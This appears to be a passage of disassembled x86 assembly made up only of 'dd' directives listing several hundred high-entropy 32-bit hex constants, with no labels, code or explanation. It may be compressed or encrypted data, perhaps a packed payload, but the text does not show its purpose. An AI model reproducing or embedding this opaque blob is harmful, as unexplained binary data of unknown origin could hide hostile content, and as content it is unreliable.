		dd 5E3779ACh, 20B94198h, 94112F38h, 4020ECF4h, 330B6EDCh
		dd 1D9135C9h, 8F1E1104h, 0B9E1C2CEh, 9C5154h, 0D6958670h
		dd 100056C8h, 0FCF0FA5Dh, 48EFA7D8h, 8F041837h,	0ECAB5094h
		dd 2A91C204h, 8407FF36h, 457C949h, 0C8BE2038h, 230092E4h
		dd 0C676B75h, 0F49D2C3Eh, 9C6501ECh, 0ABE515FDh, 0D8A52B42h
		dd 0A674162Eh, 49A5F0ACh, 1ABC006Fh, 0A6D6757Bh, 81618F3h
		dd 0CC007D17h, 392A8F2Eh, 133E24F4h, 654674E4h,	0D5A4200h
		dd 0BBA550E0h, 44E14909h, 4812553Ah, 12B898C1h,	444477BBh
		dd 49DFD4F8h, 0C5F13C00h, 0EDB8B61h, 0E1639F96h, 1200B3F3h
		dd 9CD0C315h, 91EC86D7h, 1822D118h, 73EE0395h, 0F8825D59h
		dd 305608E2h, 0D1CDE101h, 0B905A599h, 46B02D8h,	5ED4DFC7h
		dd 141C5140h, 0D6C40EFFh, 9D43525h, 14C60B74h, 0F947520h
		dd 5D12BAFCh, 94FCCE89h, 14D2F859h, 0F09C3C27h,	0A4629F84h
		dd 1008655Fh, 56A6B1B0h, 212E299Ah, 745E1803h, 18EC494Bh
		dd 0AD588C4Bh, 0CDC61527h, 1371C0E0h, 0CB00C0E5h, 49219180h
		dd 4AEF6BB2h, 8104DB46h, 5789AB6Bh, 5014FFDEh, 0DA4EC643h
		dd 5D0807Ch, 2F40D16Bh,	4CF13C32h, 4513746h, 427A6807h
		dd 0DE70A8C2h, 0FC35D1C9h, 4D534218h, 7F00040Ah, 61D7704Bh
		dd 14D39777h, 1C0439D8h, 82ADBE33h, 0BAC0DB47h,	3F74E8C1h
		dd 0C5B888h, 6C0C615Fh,	225567E2h, 0DB018270h, 3D09075Dh
		dd 21D58617h, 2CA22Ah, 2B040F4h, 2FE7E5h, 9AFFF271h, 7446BCFBh
		dd 0EB4C1720h, 3DDD34C0h, 9F80D996h, 2D6FE751h,	7E09301Bh
		dd 7FA79452h, 1E913835h, 0E9B95981h, 55A1FB0Bh,	5FFFEC35h
		dd 0A744C5BFh, 7C51D87Bh, 97F23460h, 1D11FC9Fh,	15323F83h
		dd 0F048E1EAh, 0A74B592Fh, 586078CDh, 0E2BD5FD1h, 4F2D340h
		dd 8C301BB2h, 617509D5h, 0B95D3380h, 122F4410h,	0EC6EFA74h
		dd 0FFA35602h, 4FFA1FDh, 30FF5734h, 39D1C24Ch, 0E6E63325h
		dd 5E28B654h, 100C246h,	0D92F6E1Bh, 8CA49175h, 0FE87BE44h
		dd 68C11A0Eh, 0D8536078h, 847AFC71h, 0D234B97Ch, 74A080A6h
		dd 0D10E1DB7h, 0E556A41Ch, 0E0E7F87Ch, 0A8DCF94Bh, 0CE7A012Eh
		dd 7CC48BC8h, 70E5FDEEh, 20407404h, 9C6603DAh, 730D44FEh
		dd 7D15CBD8h, 91E30600h, 3A140E47h, 0C8EDBD70h,	65C40CC0h
		dd 6B5B168Dh, 0AC40AD66h, 461D8CC7h, 358032B8h,	0D7CEE887h
		dd 4164B4A5h, 0DCA85714h, 0E0053D8h, 6256BED4h,	5DC5A396h
		dd 0A840F8CAh, 5C0BB56Bh, 0D771B873h, 524F33Bh,	80C347B7h
		dd 0C07838FEh, 6064E487h, 28F2708Ch, 20D8992Dh,	0FEEF2AD0h
		dd 9F40685Eh, 0F85EB15Fh, 80AC9920h, 0AA825580h, 700631Ch
		dd 752C7B56h, 0B8201A5Eh, 96DA1F6Ch, 369E01EAh,	7FE26589h
		dd 0CB0BF46Eh, 2901875Fh, 0F102C2F5h, 0ECE73A62h, 0A2524E0h
		dd 511B6309h, 852459C1h, 0BC89A3B3h, 0D4B35FACh, 3D9B1305h
		dd 0B070FEC5h, 9761A315h, 0B0F6488Bh, 532B306Dh, 80E404A0h
		dd 158C012Ch, 0E181CCD0h, 1676B36Bh, 6C5ECA25h,	7284449h
		dd 0A0FEED90h, 1261C13Eh, 20AC72ADh, 1073139Dh,	81D4F1B7h
		dd 0E9298AC1h, 916AA2A5h, 74CF6Ch, 0F9FC6EFh, 69D8058Ah
		dd 95148057h, 0D24B8DC3h, 0A66AF48Dh, 3156A100h, 4870987Fh
		dd 96816CEAh, 0B04894E9h, 2B5A002Dh, 0B24775ADh, 61026437h
		dd 0DE14FCABh, 0DCED7FDCh, 73A16AC0h, 54E08313h, 0BB009FB8h
		dd 0C111B367h, 24463C6Eh, 870DC68h, 0E90B2B2Ch,	97D0E070h
		dd 10298356h, 5C00A495h, 0EA3074A1h, 39E502A8h,	0ABB14E10h
		dd 8D088CDCh, 7C62258Bh, 0C0B06D55h, 0F784DB5Bh, 7BEBC4E6h
		dd 15FD14C0h, 0B0D60C01h, 0F458FFAEh, 0A2E4C8A5h, 6199CA61h
		dd 9B3A9DF5h, 4D0B357h,	270B3945h, 0B4F4F9C6h, 54355DE9h
		dd 140910Bh, 515F5598h,	2810987Bh, 9931B44h, 40587D9h
		dd 29089C70h, 79A18209h, 0C31310D8h, 0B9DF67A5h, 5B8B87AEh
		dd 0E0750C62h, 95CB5794h, 5C5408E2h, 81EA3ADCh,	4A91398Fh
		dd 0EF803196h, 0BA298057h, 0BF1489AAh, 7D1E010h, 0EF2C6377h
		dd 967DD937h, 119E3E30h, 16FCF85Ah, 0E0F72618h,	98F823A0h
		dd 62BB2103h, 1CB4352Bh, 0C0F21869h, 0DB9A588h,	6448635Bh
		dd 0DA4E16BCh, 58AB6CA4h, 0C22384Dh, 7E3DC002h,	5FD743D5h
		dd 0BBB0C68h, 82E42CE3h, 5F6E6593h, 0F99D106Ch,	93670078h
		dd 372F0EC7h, 68652909h, 0C98856F8h, 7C80DCB7h,	0D53AB357h
		dd 0F1C44A69h, 18742BE0h, 698868CBh, 38E517C0h,	0C0180B26h
		dd 9981439Fh, 6CFF4035h, 4B700BD8h, 1D443717h, 0FA803ECCh
		dd 87C0B029h, 0E601D93Bh, 40AB82CAh, 0F863779Bh, 3C301CE2h
		dd 0B6F14A6Eh, 4B5E22DCh, 5754D035h, 615C2FB0h,	0FD0D0072h
		dd 2D42195Fh, 9A7500B2h, 0C18B5C6Ah, 9B00C6DEh,	0EB1D3229h
		dd 95C9D98Fh, 0CD49D020h, 0FC0290ADh, 0F0F433C1h, 3024FF5Fh
		dd 625B4026h, 0E8093153h, 18D39FA6h, 0D8041500h, 2593146Dh
		dd 0D859D169h, 0E012F02h, 49771891h, 1388CC59h,	0C048CEB5h
		dd 0C1151D38h, 472E6BB2h, 0A0806BA2h, 0BFEA9855h, 854034C6h
		dd 0ECAD41A9h, 89C09995h, 8A8FFC92h, 63BC0018h,	0BE0712EDh
		dd 0E9006119h, 965C2DB2h, 90E0D54h, 873653C6h, 4901E856h
		dd 0E73297ABh, 1D20927Fh, 12099120h, 11DF89A2h,	316A8E99h
		dd 8B1E2418h, 783193C1h, 415508D8h, 0BD0237C8h,	0FDD9A1C3h
		dd 0F8AF60A9h, 622C0F11h, 705183EBh, 88302810h,	9F6D20D0h
		dd 0C0B8355Ah, 58646689h, 0B6D11F00h, 0A31419B8h, 60AF64D5h
		dd 0F4D8FBADh, 4D774060h, 0C1846127h, 0B66EF430h, 98D9F138h
		dd 0ED4BE430h, 4E088B7Fh, 3B801CDAh, 18FBF07h, 48955631h
		dd 0C56B6D65h, 486EEA00h, 262661Eh, 8241DBFFh, 3787B880h
		dd 41B7DDE1h, 0F63EA88Ch, 0D7FAE088h, 18C60791h, 7281150Ah
		dd 0E8505B47h, 7B0C312Dh, 9E17034h, 0CD83B400h,	0B0914A6Bh
		dd 0D8B51FB2h, 433FC99Eh, 0BE6150A4h, 3459E48Fh, 0F10790BCh
		dd 2EEB52B0h, 6BAAF424h, 411A0BB4h, 0A86C023Dh,	92F70933h
		dd 1CE1DD80h, 203700A6h, 0B6E8B2C7h, 863EDCB0h,	74558DA2h
		dd 0E1DC190Eh, 0C08804BEh, 0ACBD2944h, 3C3AD3F8h, 5E00C623h
		dd 82E5A54Dh, 2F6D260Eh, 5A9E1090h, 4980B0A8h, 5E5C7F4Fh
		dd 641C9100h, 788BE8B7h, 9992609Ah, 15FCA706h, 0C4D7C806h
		dd 0F108C78Dh, 0C00CFFD2h, 7B9DE219h, 897570C8h, 2039D50Bh
		dd 42F4FC10h, 947E6955h, 5F73AFE2h, 0C43C5867h,	34392D7Dh
		dd 6973F8E1h, 29F60378h, 0C1665C14h, 0ABC0EF4Eh, 6E6002BCh
		dd 7804FDCh, 0A11C1357h, 162E6B17h, 0EC9817F8h,	0E906DE10h
		dd 2678AF11h, 12A46CABh, 5E04FC16h, 56EAC8Dh, 0F80A102Ch
		dd 8C9FEC98h, 0C53B7F01h, 40FB77F7h, 1D10282Eh,	903B8F5Bh
		dd 0A300C723h, 91FD0AFEh, 0BF1D2F35h, 3E27BC50h, 51BCF4A5h
		dd 0FCC9A591h, 5F07DCB4h, 0CBA6B64Fh, 2EC8C1F0h, 7E4D7FAEh
		dd 0C05295DDh, 60D41528h, 7A25ECB0h, 278F6FAh, 3A8841D5h
		dd 9554645Fh, 8C0FDC48h, 35FF80AAh, 690880F8h, 1DBD4289h
		dd 0D191F705h, 9EBBA281h, 72009DF4h, 0B7DC4631h, 23871718h
		dd 60FA0B54h, 7FE54483h, 7F20CCF9h, 0A680409Eh,	0C12ABEC8h
		dd 8CF17B05h, 81941Bh, 3C01BD21h, 8052EDDh, 0E08296DBh
		dd 13F8DEA8h, 0F778F6F4h, 0F5E06FF1h, 0AFC8C87Eh, 29D6BE1Eh
		dd 30F89D7Bh, 0D987807Bh, 0A44B3F32h, 0F8635B01h, 927110B0h
		dd 7B9D1400h, 0B6EAC1E6h, 9A035609h, 0AA2C9094h, 3A0C000Dh
		dd 8B019970h, 28F3BB61h, 0C6FC2D8h, 41705C8Dh, 0C44AF509h
		dd 450F19A1h, 7E856924h, 70866D81h, 9D2A8D7Eh, 0A8143DA8h
		dd 0B8757C58h, 0E9D54BF2h, 8CA2A80Ch, 62CDE909h, 8C82DF24h
		dd 3502D71Dh, 57604A68h, 0F0F4C0ABh, 29C31340h,	0E928D7E0h
		dd 8CA7ACECh, 1AC12600h, 21F0B535h, 0C9FD277Ah,	7E16F4E1h
		dd 0B63EF0C9h, 0B64DE098h, 6FA300F2h, 0F10C1255h, 0C6BF3A42h
		dd 83CC0414h, 81528FEDh, 3F2317ECh, 0DE7AD8A5h,	354F8084h
		dd 897469D5h, 9550FC13h, 0E4329B44h, 1C44074Eh,	939A9110h
		dd 589076D2h, 0FA1CD371h, 215DBD89h, 50960745h,	6282C8EAh
		dd 0AA97B203h, 0A8F561AEh, 0BD60A4C7h, 0EE1F45F1h, 802C9D40h
		dd 0AC6CC1h, 2A994790h,	0C3BF6641h, 0AF5FC538h,	0DC04DC96h
		dd 0F5105302h, 80FF9A70h, 7FE7BD7h, 9D951829h, 8166AE1Ah
		dd 0D279F700h, 5ACF368h, 525001B5h, 0DC2C04BBh,	0D9E17B12h
		dd 0BF8FDFE0h, 0C0289D9h, 0FD4B1957h, 0EC5F94Dh, 69FCC3FBh
		dd 0EF8100ECh, 3E6B3E4Eh, 0F8348D7Ch, 68B6AFABh, 0FEE42B0h
		dd 15806Eh, 0DF8B90F8h,	34B73B50h, 0C633AB4Ah, 0B717BB95h
		dd 6137FD6Bh, 8B661901h, 0B92B61FBh, 15AFACFBh,	0C8ED85C7h
		dd 9D7F0325h, 801D91BFh, 7D7190E6h, 0F4360119h,	83EB22C6h
		dd 7BA849BDh, 0A74760F0h, 601B6432h, 0ADA1CFh, 30454CDCh
		dd 0B70F53A3h, 7C5BF82Fh, 75C86019h, 3904DE57h,	63E001A6h
		dd 0D81F2283h, 0C121E961h, 0B5BD8B27h, 50FA8319h, 83110C30h
		dd 0C1019844h, 0CE107AE8h, 4C0F020Eh, 835803C0h, 750D04E9h
		dd 3636EBE7h, 396404DEh, 1B3316EEh, 40282950h, 0CD581821h
		dd 9570113h, 0C0AE971Bh, 9C16EBEh, 5738D761h, 82D12D48h
		dd 37BA9700h, 0A9F5BB49h, 7DC705D6h, 0E9CD1Fh, 70669F13h
		dd 9000B2A5h, 946B632Dh, 269C219Eh, 83A5F99h, 8B03274Dh
		dd 410FFD9Dh, 274DF80Ch, 0C1DD85E8h, 919D2BAFh,	8BECF716h
		dd 27CA300Bh, 4131B589h, 0F81B2026h, 0A8CDF78Ah, 804201C0h
		dd 93204807h, 71F9FE28h, 955FC20Dh, 0FB55014Dh,	5860788Fh
		dd 8484E792h, 0B1ECB537h, 1CC19DC1h, 6C71887h, 0EA570E01h
		dd 4609BB6Fh, 685D89CCh, 44E850DEh, 42002C0Ch, 5613F33Dh
		dd 49D282Ah, 8B2067B6h,	340D80D8h, 0EB0F8124h, 948014BFh
		dd 8AEEA5ABh, 0C01BC87Bh, 848F31CAh, 0F2249CFAh, 21601AA9h
		dd 18C3345h, 0E28FFF95h, 0C474FD90h, 81023F2Dh,	0ED716CF3h
		dd 1DBE8270h, 5F0A0916h, 6F190ACFh, 0EAE8C7A1h,	2B90004Bh
		dd 954E63BAh, 31203790h, 1A5B7712h, 0E0B0985h, 4CC4FDh
		dd 0F666CD7Fh, 83468421h, 17B840E4h, 48013E02h,	66C48689h
		dd 11C93102h, 55C1958Bh, 588EEE6h, 0BCBD03E3h, 0BF7D40E9h
		dd 12880E4h, 0C22C835Fh, 0C7016104h, 50892C26h,	559DBB40h
		dd 444D32Dh, 9E90A326h,	7287C060h, 0A3931FA3h, 0B8B82293h
		dd 0FACB78C1h, 0F92B6AE5h, 0F9FCB91Fh, 9B089031h, 181B5179h
		dd 86E9001Ah, 2855EF65h, 0A300BB4Eh, 894C1FABh,	9121A98Dh
		dd 1EF908B8h, 40A67E2Fh, 0BBE64A60h, 23F6A803h,	0D1CD298Dh
		dd 0ACD03D6Ch, 0F964C63h, 1C7B0428h, 7A503ABBh,	0D3A5BF85h
		dd 0D6DBFF96h, 18636C80h, 9F0A3896h, 0A95BD92Fh, 7EFFE705h
		dd 0CCBF8960h, 43B4330Ah, 0C8CC65C0h, 442C179h,	93D9C534h
		dd 6B5F4466h, 7FB8E8F9h, 0F2645A14h, 822C4h, 6573C5BFh
		dd 18CDD10Ah, 0F2C3800Eh, 0DD502B5Bh, 0EB79BE90h, 6E9B881Eh
		dd 0FD449292h, 0A4DB22B3h, 0C1C01B88h, 0A8274A3h, 30BE011Ch
		dd 0F3DCAF3Ah, 0F50892C8h, 0BF0F0518h, 13E23DFh, 220809B1h
		dd 9BB12807h, 1D403BAFh, 3CF76F4Eh, 32A8D51Ah, 26F520C4h
		dd 0D2720240h, 72DABF31h, 9589D5C0h, 52C5292Dh,	0FC02EF80h
		dd 0C6141985h, 200A417Bh, 14095F7h, 55C2E1C6h, 0DF5B9C7Bh
		dd 0B9E6F8F0h, 0FB7C018Fh, 0BD2B6087h, 0F1F17EE5h, 3F2DBC0Ch
		dd 0C0582DDh, 0C161EC43h, 505B1E3h, 0DBDB3DD5h,	7893E780h
		dd 0F55C084Dh, 7EFF26AEh, 0CEBEF312h, 0C01B8854h, 0B9460AE8h
		dd 0D5C0AF0Ah, 49089D74h, 0C12B3B02h, 99678D0h,	2DA9BD12h
		dd 60FE3722h, 0CB150DB9h, 99026012h, 0F5000C5Dh, 98B9061h
		dd 810F50F8h, 3366816Ah, 0E167ED00h, 957610BEh,	46905C5Fh
		dd 6C525924h, 0A50E904h, 5100B943h, 4E7B0310h, 0C128807Dh
		dd 0FF74BC80h, 0F04C3607h, 0E1AA9E1h, 0CB4DD57h, 31825CABh
		dd 920C3191h, 830140B1h, 2905C006h, 0B01FD98Dh,	8EDA4C72h
		dd 6993BB0Bh, 0C1E28EF5h, 1E216488h, 51F9C730h,	9833681Ch
		dd 0AA80EF00h, 0C05B5961h, 97ACC107h, 445F8F34h, 66DE6A46h
		dd 6676D381h, 48D73029h, 20BA805Dh, 0ABF9BD17h,	116BCE07h
		dd 888D8383h, 92FE7ADBh, 1F2520B0h, 25D1FF3Ch, 881177DFh
		dd 84870301h, 0F3C1E6AEh
		dd 8296E222h, 20C49B1h,	0D2ED026Ah, 0E0D465E2h,	81209927h
		dd 15372150h, 6EC9FFC2h, 1EF5C301h, 6F928A62h, 0B8770119h
		dd 74762138h, 4150DACh,	0BB0E51E9h, 0C68947F2h,	6E024F29h
		dd 8A022475h, 0A25D40DCh, 3B5E944Fh, 28035590h,	0C01DDE90h
		dd 5DA5500Eh, 32827935h, 0E09C6FADh, 2864FAF0h,	804B35FFh
		dd 831BD1F3h, 0F05789EAh, 0AD2AE1EDh, 7164ACA2h, 0CDE0014Bh
		dd 1A918831h, 80783C2Fh, 1E3A2AF8h, 73667439h, 0FC5D02A2h
		dd 8B0F3790h, 24966352h, 5664FE40h, 809400C5h, 5B860D99h
		dd 0E51EEF81h, 0F525D4E2h, 0A9092812h, 0F66A0549h, 8FE06BCDh
		dd 9D75BC6h, 34488642h,	0FEDF5098h, 0B82FD05h, 58C7D10h
		dd 0A912036Eh, 0F8DAC255h, 91CFA002h, 0C1412F74h, 0F355C5BFh
		dd 4604E16Fh, 81FB6092h, 3018D55h, 0DF31C5E9h, 0B00202B5h
		dd 0F3024B50h, 70E6246Ah, 3DBC90E9h, 54760041h,	0A8B45980h
		dd 20457C9h, 71E4781Fh,	18753881h, 0F5A10405h, 0AAA2BB2Ah
		dd 2947C430h, 0F694C1B5h, 0C8B6183Eh, 811E1D80h, 7BB123BAh
		dd 0EC2F0120h, 31F545BDh, 0CC232136h, 0B30304E8h, 0E2F76653h
		dd 214B372Bh, 51D162CBh, 5BD97EC0h, 0B52CE954h,	85266950h
		dd 212D352Dh, 0C7DAEF63h, 4632CA31h, 30400C69h,	3B800501h
		dd 2FD0C9D0h, 326C75h, 51BFFF05h, 0E6E17FFEh, 0A4A2C00Eh
		dd 299F605Dh, 0B048032Fh, 0E1C81C3h, 0FDC48510h, 5A88000h
		dd 0D4DEF8FCh, 0E718123Ah, 38C9BFD3h, 98E183F8h, 89847999h
		dd 41A5E9F8h, 0DA29FE11h, 66889592h, 0B0BF836Fh, 3970E9E8h
		dd 3B58D06h, 12FDFED5h,	0CE6FE0E3h, 0C01AC844h,	795C72D6h
		dd 3876DD04h, 0F8A38E0Fh, 0EBC45012h, 7F10A289h, 9D72D1h
		dd 515ED88h, 0B1535D87h, 0EB3B49E8h, 4AE349B9h,	77596BBAh
		dd 18C0F14h, 8B549C96h,	0FCE11CEAh, 4674116Ch, 0A6280119h
		dd 0C1BD6682h, 0FCDDEC2Bh, 0DC0A8C16h, 23BA8FA9h, 67B5F525h
		dd 0BF60D88Fh, 2AFFB09h, 314581h, 0D1C233ADh, 49D050CBh
		dd 7738F444h, 3A967317h, 1823DAh, 288822A5h, 673BB70Bh
		dd 7ABE4A0Dh, 609312DFh, 90DC8EAh, 2F41BD72h, 243DBC41h
		dd 0E136103h, 0F39D2BD9h, 1D88BE0Eh, 512DDEC0h,	0AFBD02BCh
		dd 0B712C484h, 20F9BEE1h, 1C6101BAh, 19D59D69h,	0C5CA8004h
		dd 70FF7D59h, 18FEC20Ch, 8C10337h, 66B6958Eh, 624E5819h
		dd 256DB6DEh, 41743372h, 0F2B24386h, 0F3843315h, 0FBC80098h
		dd 10180D43h, 0CF5A0340h, 809EE5ACh, 36448BDFh,	0C000CE70h
		dd 0C7C6533Ch, 131FCAEDh, 0C052AFB0h, 5F874948h, 0DE6F5B48h
		dd 4B5CDBC1h, 0EF700FEFh, 0FA4F2553h, 0FC3777h,	0A6AADF5Eh
		dd 2800593Ch, 81AD2D22h, 9C4BFF7h, 0E1FF2A62h, 6029CD57h
		dd 7CD2AD27h, 7E3DAC70h, 3DE0D0CAh, 6B74045Bh, 0B2DABF4Fh
		dd 0C0329BEFh, 0D0BDEFDDh, 232F00C9h, 0B9DFD381h, 35A44E80h
		dd 86C00140h, 7E017C95h, 228C8A02h, 4068BEE9h, 0B6331D28h
		dd 568658D4h, 6FBF044Ah, 0F5E60360h, 0F80AB6F6h, 984F519Eh
		dd 4BD078DEh, 1C50460h,	16241E19h, 5C90C101h, 27C2820Fh
		dd 0D0531761h, 0EF1D96DFh, 665F0B04h, 36DBD98Ch, 0E7F49DC0h
		dd 8B8DA8Fh, 120B9120h,	0BB04E180h, 0F9C0D3DAh,	0BA0E072Eh
		dd 0B4B7E809h, 603F883Eh, 0D8C90A0Ah, 77016309h, 47E00CEDh
		dd 590F29BFh, 68858287h, 3DF9CC4Ah, 35643307h, 82BB9F62h
		dd 6F17D545h, 2BB66068h, 69025BB0h, 9DC1F3ABh, 0CAD15D95h
		dd 339EB71Fh, 0F1A4108h, 5F2A5650h, 511CAh, 93612477h
		dd 196FBB72h, 787438DFh, 0D35DF204h, 0E4825889h, 13399459h
		dd 0BF98FCC5h, 18AD00E5h, 0F9A44EB0h, 9650F586h, 285C4495h
		dd 0FF9544EFh, 0C41F0328h, 0A98A0F29h, 0F480BF86h, 0B947A0C2h
		dd 0B0DA3963h, 8D6C15D8h, 0FE781E4Ch, 8C5444E1h, 9B003398h
		dd 25CD8C6Bh, 1E4BDDBh,	9CEE46F9h, 2A585EBCh, 61ACC6B9h
		dd 1351BA05h, 5621830Fh, 352B2D59h, 2A06B115h, 0B5615427h
		dd 8F7409C9h, 954092B9h, 5D6E874h, 79D9FD7Fh, 0FA428230h
		dd 0DD542F42h, 73FB7AFh, 0E0381FC2h, 5E98BED7h,	51C73D38h
		dd 6F7603Bh, 1E78188h, 7C3B2650h, 2BF4B58Bh, 0B004C47Bh
		dd 808060EFh, 61CA8B9Ch, 0D8B70F18h, 0B906E1D2h, 13750813h
		dd 7839242Ch, 5815B15Eh, 9D2B81ACh, 29892E59h, 0CD570446h
		dd 16A16F1Bh, 6062FD1Eh, 264FB12Fh, 96F9DC40h, 0D3028F0Fh
		dd 8655D131h, 0E2BF1005h, 1B4F1D64h, 0BDE38296h, 0AD5C798Dh
		dd 80EE3D2Dh, 0CD5FD54Dh, 19247A46h, 5C003975h,	0DC79685Ah
		dd 503A0194h, 0FDE8A52h, 0DAAC9231h, 1E34C5E0h,	42DF8624h
		dd 71BD233Ah, 8D2F1A78h, 383F85h, 0D68A0BACh, 0A025DB22h
		dd 90F260D5h, 75F5E56h,	8953E3FEh, 6384B2B7h, 0BEB91E8Ah
		dd 8084DAD7h, 0D18ABC08h, 0CEE7094Dh, 4D5761E0h, 28D560EFh
		dd 8E0483CEh, 3AFCFF4Ch, 0BAF4CAB8h, 9F0CEF3h, 1AE67F96h
		dd 77293704h, 6EC17ED7h, 292BD117h, 0F5E82AC3h,	1F46E4Eh
		dd 0A8BE291Ch, 0AA686023h, 0CEA0212Dh, 3FE961C9h, 9AAB31D2h
		dd 13E1C0B7h, 7F9D01BCh, 0DB1D97F9h, 7E9D29D0h,	970B9689h
		dd 85C23C0Dh, 0DA4A4C43h, 0E7B8048h, 0D2208B0Fh, 0F690BB17h
		dd 19496BCh, 0F64BD5Bh,	29E92340h, 0E2A807EAh, 0E3107663h
		dd 99EB158h, 5F7877B4h,	0FC6C1016h, 4BB9C693h, 5DD38B32h
		dd 7EEAA91Eh, 0D6BA0155h, 2E83E112h, 0B6B6CE74h, 3EE50CA0h
		dd 0B307D03h, 86DD9589h, 8509094Eh, 0D87308F9h,	0BD25D2A0h
		dd 7BD8CE06h, 1CF12533h, 32DE5D10h, 5061B312h, 0D50112E2h
		dd 0CF91B71Bh, 0C597317Dh, 588C055Bh, 12090067h, 268DCECAh
		dd 0AD4C062Fh, 20EA41A3h, 8C5D0FA4h, 0ED1585F9h, 0F329AD29h
		dd 1B4BFAA8h, 5A8AB68Dh, 4B7DFDC9h, 7204C464h, 0C9753296h
		dd 2BE0ABB8h, 0AA007334h, 8133C872h, 847FD35h, 0B686683Ch
		dd 2D9B7CBh, 0A2FB393Dh, 0DB50460h, 9D04D2B1h, 0DEE22431h
		dd 5FE6BD2h, 66F956B0h,	5C6248D2h, 3D5124E3h, 9BE185CBh
		dd 0E75C037h, 4B498D31h, 4AFE8B18h, 0FA3FBBh, 7D7271BFh
		dd 5D019D33h, 86123E2Ch, 7E9EFBB8h, 0E5AE6681h,	0C5DFFC08h
		dd 8CB9A32Eh, 0ADD48D13h, 0EA923AACh, 0CF60B0D9h, 0E6CA260Fh
		dd 12C92647h, 0E29BEAF9h, 0A32DC7h, 89BCDD8Fh, 0B126CB90h
		dd 0BB502817h, 9A581774h, 0C895DA6Fh, 0BF95C114h, 886CC73h
		dd 9340F1BCh, 6C5C57h, 37FF4D79h, 34B35074h, 3EA1CB92h
		dd 5BDD35F5h, 0C71688C7h, 8B10B134h, 0A51C61BDh, 82AC654h
		dd 141D9D0Bh, 0FEB7B57Bh, 3D28EA4Ah, 348D19C4h,	15B1C42Dh
		dd 9BDF7602h, 1761B22Ah, 801B11DBh, 8D91A5D9h, 8981043Fh
		dd 0B8DE8AF6h, 3B98D0FAh, 0C8964299h, 2E04D8A2h, 3CF504B0h
		dd 0FAD202BDh, 0D6C016CFh, 3A459E10h, 0A5F78F39h, 1203E559h
		dd 0DCDEFF76h, 64E7809Ch, 2F16C7A9h, 2808B658h,	3297D911h
		dd 0DC1A5407h, 0C6DC7916h, 0F980E0DEh, 8C9AAFF3h, 0F780520Eh
		dd 0E5CB6424h, 6BF507BCh, 0EAE5289Bh, 0E1B8520h, 0FFF28FE9h
		dd 74BD0B27h, 0D6E2B804h, 1112596Bh, 2DDAE3ADh,	90D49109h
		dd 880C8A60h, 5D1DB860h, 0BA413B1Ch, 6913BDE3h,	79BBC360h
		dd 1B230F84h, 818A2B90h, 9B6A96CFh, 4220C0CFh, 17C9E5A9h
		dd 0DB6AC7EAh, 981ECB22h, 472600h, 107B5DDFh, 0DD0F970Dh
		dd 84FFFAC7h, 0ED9D2229h, 0BD290012h, 12971699h, 0E082CDF3h
		dd 0F577075Dh, 154D48h
		dd 4B1FC781h, 1904794h,	5F24B356h, 0E2FE8B50h, 7135F35Dh
		dd 833ABFBCh, 69F7B8EFh, 13105A41h, 0B3E05235h,	429B4AFAh
		dd 0EB5E5781h, 0F342F97h, 7DC0AADBh, 0FFCDD67Fh, 0D0DBD14Ah
		dd 2EDF8280h, 5912EE4Dh, 49F22DDAh, 0EF12818Eh,	0EDC0359Bh
		dd 960B189Eh, 44F25901h, 26A4346h, 0EAD6E2Ah, 0A293C59Fh
		dd 5C95E7AAh, 5E6204E6h, 0E6E4E150h, 1A448B67h,	6BD18060h
		dd 0E34C520Bh, 0C0CE326Eh, 8011DD82h, 9C972FE9h, 0A8F89843h
		dd 4C69BD7Bh, 18F8A111h, 1219738Ch, 0F3736670h,	299B4E61h
		dd 8B0FE582h, 109F7144h, 0E9A4752h, 0CB0113B4h,	19466AC0h
		dd 0DC090969h, 0E0C9D288h, 0B6A42049h, 10592E78h, 77994B02h
		dd 80B87C2Dh, 665CB702h, 5EB84CBBh, 13E4C893h, 6C99BADFh
		dd 0FCCAE83Ah, 8F1B008Dh, 89B0F8CEh, 28B649B5h,	0CDFF6A0Bh
		dd 1413C02Bh, 413FE8D4h, 9565827Bh, 57B5299Eh, 0F2ED7F0h
		dd 3470B80h, 0B4CC5DB5h, 0D8244EA1h, 0C9094212h, 7B4572A9h
		dd 60321D45h, 963BB4Ch,	80B00BC9h, 6A08C748h, 0E6300441h
		dd 0BCFA8B70h, 255B4C35h, 2E2FE60Ah, 0E0AD0111h, 6CABE4F7h
		dd 7EA0DE00h, 1D5E76Ah,	977D7235h, 0EF503C8Bh, 0C890741h
		dd 427B0125h, 0B9DA231Eh, 7E906223h, 22BFC163h,	44142F7Ah
		dd 1C351082h, 0D1B50104h, 19E5EB13h, 5ED8F002h,	28A18C51h
		dd 90968575h, 0B4AFD144h, 5900F2B6h, 689537D6h,	254A69h
		dd 0B2705D92h, 89C7628Dh, 27116AAh, 94D05200h, 26EB86Dh
		dd 7ABC5868h, 71E0A297h, 2C823549h, 0DB9A1Ch, 63EED7A7h
		dd 77ABCD62h, 0C1D390Fh, 83C5A20Dh, 8DBD07C0h, 4A207A3Fh
		dd 1B5C34h, 0CBA55B9Ch,	0C245B67Bh, 94345F6Ch, 25CA8808h
		dd 96E123Fh, 7AF358C5h,	2208429Fh, 0EF801234h, 3DC9FF45h
		dd 0E090B101h, 32B18289h, 221F64D5h, 0BFEC1884h, 0A550FB7Ch
		dd 8005FE1Ch, 9589B3D3h, 13227C5Ch, 0BA7AB58Dh,	0DBB7E7C1h
		dd 9DE95C20h, 0F725D254h, 0F3007F37h, 799249ACh, 0F4E250FBh
		dd 0AF214E95h, 820F1E60h, 0FF98B505h, 0B913508Ch, 99AE0854h
		dd 0F9B441CBh, 0FC7C4202h, 58007B5Dh, 0F90430DBh, 0F626A27Ah
		dd 0F386AB80h, 0FC1D31B4h, 12D61A8h, 0B029C02Bh, 63018DB8h
		dd 29A1F30Bh, 242FEE89h, 0F042B869h, 4E159D0Bh,	0D7BD930Ch
		dd 9D404C8Ah, 0D8034E5h, 1769D88h, 0DD801F4h, 7996EB4Fh
		dd 45436C7h, 1A18D89h, 0F1446F7h, 8D4B5C8Ah, 27FD3A02h
		dd 3B48D5ACh, 0E5F825FCh, 9CB76916h, 9CB63087h,	0F9E2B4C4h
		dd 73854E00h, 0BE3693A5h, 0A05B9F24h, 281D4108h, 4CD258Ah
		dd 671C47E7h, 2B37D725h, 7426CB9Dh, 72BD0B0Bh, 22139711h
		dd 0A5D5B5C9h, 922C687h, 0E1FF03B3h, 0C1806E37h, 8C2433Ah
		dd 14909B9h, 0BA41D585h, 0FBEF2056h, 0FC8A5F4Bh, 0BB042C22h
		dd 155C8F6h, 35A2D9B8h,	1DD30229h, 71B85C27h, 0F157D2ECh
